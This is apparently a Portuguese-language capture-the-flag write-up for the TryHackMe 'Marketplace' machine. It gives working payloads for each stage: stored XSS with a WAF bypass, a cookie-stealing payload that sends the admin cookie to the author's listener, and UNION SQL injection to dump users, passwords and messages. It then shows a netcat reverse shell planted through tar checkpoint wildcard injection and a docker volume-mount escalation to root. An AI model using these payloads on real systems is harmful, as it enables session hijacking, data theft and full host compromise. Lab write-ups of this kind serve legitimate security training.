The Marketplace Writeup tryhackme
A máquina marketplace é focada em exploração web na parte inicial(XSS stored e SQLi) e na parte de escalação de privilégio usaremos o docker.
Varredura de Portas
Ao usarmos o nmap para identificar quais portas estão abertas e que serviços estão rondando nelas temos a seguinte saída:
Temos 3 portas abertas, mas no momento vamos nos ater a apenas 2, a 80 e a 32768, que parecem ter o mesmo conteúdo.
Exploração Web
Ao acessarmos a aplicação web que está rodando na porta 80 vemos algo parecido como uma loja.
Temos a opção de logar e de criar uma conta, ao tentar bypassar o login com sql injection não tive sucesso, então decidi me cadastrar.
Ao cadastrar e logar com minha conta temos mais uma alternativa de local, alem da home, Log in e sing up.
Ao clicarmos em New listing, temos alguns campos para escrever para podermos criar um novo anúncio de produto.
Tentei primeiramente fazer upload de uma shell, mas não consegui, então parti para aproxima alternativa mais provável, xss.
O título não parecia ser vulnerável, mas depois de alguma tentativas consegui o xss na descrição.
o padrão <scritpt>alert(0)</script>
estava sendo bloqueado, mas ao procurar rapidamente no google por “xss WAF bypass” consegui encontrar um que funcionou:
1
<img src=xss onerror=alert(0);>
Ao entrar na página do produto criado aparece um pop-up com a mensagem “0”, parece que conseguimos um xss stored :)
Agora precisamos conseguir acesso admin como esse xss, então temos que pegar o cookie do admin.
Ao procurar no google por “xss get cookie” encontramos um artigo com o payload e com o script do server que precisamos para conseguir o cookie do admin.
após algumas modificações o script do server ficou assim:
E o payload que colocamos na descrição ficou assim:
1
2
3
<img src=xss onerror=document.location="http://10.9.3.121:5000/?c="+document.cookie;>
Ao entrarmos na publicação do nosso “produto” conseguimos pegar o nosso próprio cookie, show, agora só precisamos mandar isso para o admin :)
Após algum tempo procurando como mandar isso para o admin, vi que na postagem havia um campo link chamado “Report listing to admins” e ao clicar somos direcionados para a página de report:
Vemos no link que estamos na página de report da segunda publicação, mas a nossa é a terceira, então mudamos para
1
http://10.10.88.201/report/3
E clicamos em report, ao olharmos nosso terminal veremos que recebemos o cookie do admin:
Para facilitar minha vida, eu coloquei o burp para sempre substituir o valor do meu cookie pelo do admin, para isso vamos em “proxy -> options” e depois descemos até “Match and Replace” e apertamos em “add”, após configurar tudo, ficou assim:
Ao darmos um refresh na página, podemos ver que conseguimos acessar o “Administration Painel”, ao entrarmos nele temos a primeira flag:
Ao clicarmos em um dos “user” encontramos a seguinte url:
1
http://10.10.88.201/admin?user=1
E ao tentar diversas maneiras de sql injection consegui usando o “UNION”
o paylaod para conseguir os nomes das tabelas ficou assim:
1
12 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database()
E recebemos a resposta:
Para vermos os usuários e as senhas temos o payload ficou assim:
1
12 union select 1,group_concat(username,password),3,4 from users
Recebemos essa resposta:
Ao tentar quebrar as senhas não obtemos nenhum resultado :(
Mas depois de um tempo, ao ver a tabela “messages” conseguimos o password do user “jack” e conseguimos logar no ssh.
1
12 union select 1,group_concat(message_content),3,4 from messages
Conseguindo acesso como michael
Ao usarmos o comando “sudo -l” temos a seguinte saída:
Hmmm, então conseguimos executar um script como micahel, mas vamos ver que código que tem nele:
Opa! Ele está executando o tar para criar um arquivo .tar, então vamos me lembrei que há uma escalação de privilégio com o tar e podemos usar.
Primeiro vamos para a pasta do arquivo:
1
cd /opt/backups
Depois executaremos os seguintes comandos:
1
2
3
4
5
chmod o+wx backup.tar
echo "mkfifo /tmp/lhennp; nc 10.9.3.121 1234 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
sudo -u michael /opt/backups/backup.sh
E ao olharmos nosso terminal que está escutando com o netcat recebemos a shell:
para melhorar nossa shell executaremos:
1
python -c 'import pty;pty.spawn("/bin/bash")'
Escalação de privilégio
Na imagem a cima vemos que michael pertence ao grupo docker, então procurando no google achei um artigo sobre escalação de privilégio com o usuário no grupo docker
Ao executarmos esse comando:
1
docker run -it -v /:/mnt alpine chroot /mnt
Caímos com shell root:
Obrigado por terem lido, espero ter ajudado a resolverem a máquina e ensinado algo novo ❤.